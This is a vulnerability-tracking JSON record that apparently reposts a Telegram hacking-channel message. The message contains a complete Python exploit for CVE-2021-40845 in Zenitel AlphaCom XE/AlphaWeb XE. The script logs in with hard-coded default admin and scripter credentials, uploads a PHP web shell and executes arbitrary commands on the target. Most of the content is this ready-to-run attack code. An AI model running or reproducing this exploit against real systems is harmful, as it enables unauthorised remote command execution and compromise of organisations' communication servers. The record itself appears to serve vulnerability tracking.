{"uuid": "a436af86-149d-474f-8c26-6a8ad0efe037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40845", "type": "seen", "source": "https://t.me/hacking_Attack/23784", "content": "Exploit CollectorZenitel AlphaCom XE Audio Server 11.2.3.10 Shell Upload \n\n\nRemote command execution exploit for Zenitel AlphaCom XE Audio Server versions up to 11.2.3.10 which have a web interface called AlphaWeb XE that allows for a remote shell upload.\n\nMD5 | 7e648c2e86d13eff9019116bcae14157\n\nDownload\n\n\n\n# Exploit Title: AlphaWeb XE - Authenticated Insecure File Upload leading to RCE (CVE-2021-40845)\n# Date: 09/09/2021\n# Exploit Author: Ricardo Ruiz (@ricardojoserf)\n# Vendor website: https://www.zenitel.com/\n# Product website: https://wiki.zenitel.com/wiki/AlphaWeb\n# CVE: CVE-2021-40845 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40845)\n# Example: python3 CVE-2021-40845.py -u \"http://$ip:80/\" -c \"whoami\"\n# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-40845\n\nimport requests\nimport base64\nimport argparse\n\n# Default credentials, change them if it is necessary\nadmin_user = \"admin\"\nadmin_pass = \"alphaadmin\"\nscripter_user = \"scripter\"\nscripter_pass = \"alphascript\"\n\n\ndef get_args():\nparser = argparse.ArgumentParser()\nparser.add_argument('-u', '--url', required=True, action='store', help='Target url')\nparser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')\nmy_args = parser.parse_args()\nreturn my_args\n\n\ndef main():\nargs = get_args()\nbase_url = args.url\nurl_main =   base_url + \"/php/index.php\"\nurl_upload = base_url + \"/php/script_uploads.php\"\n\ncommand = args.command\nuploaded_file = \"poc.php\"\nurl_cmd = base_url + \"/cmd/\" + uploaded_file + \"?cmd=\" + command\n\nlogin_authorization =  \"Basic \" + str(base64.b64encode((admin_user+':'+admin_pass).encode('ascii')).decode('ascii'))\nupload_authorization = \"Basic \" + str(base64.b64encode((scripter_user+\":\"+scripter_pass).encode('ascii')).decode('ascii'))\n\nheaders_login = {\n\"Authorization\": login_authorization,\n\"Cache-Control\": \"max-age=0\"\n}\n\nheaders_upload = {\n'Authorization': upload_authorization,\n'sec-ch-ua': '\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"92\"',\n'sec-ch-ua-mobile': '?0',\n'Upgrade-Insecure-Requests': '1',\n'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n'Sec-Fetch-Site': 'same-origin',\n'Sec-Fetch-Mode': 'navigate',\n'Sec-Fetch-User': '?1',\n'Sec-Fetch-Dest': 'iframe',\n'Accept-Encoding': 'gzip, deflate',\n'Accept-Language': 'en-US,en;q=0.9',\n}\n\nfiles = {\n\"userfile\":(uploaded_file, \"\\\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \\\"\\\"; die; }?>\"),\n}\n\ns = requests.session()\n# Login as admin\ns.get(url_main, headers = headers_login)\n# Upload file\nupload = s.post(url_upload, files=files, headers = headers_upload)\n# Execute command\ncmd = s.post(url_cmd)\nprint(cmd.text.replace(\"\",\"\").replace(\"\",\"\"))\n\n\nif __name__ == \"__main__\":\nmain()\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:56.243298Z"}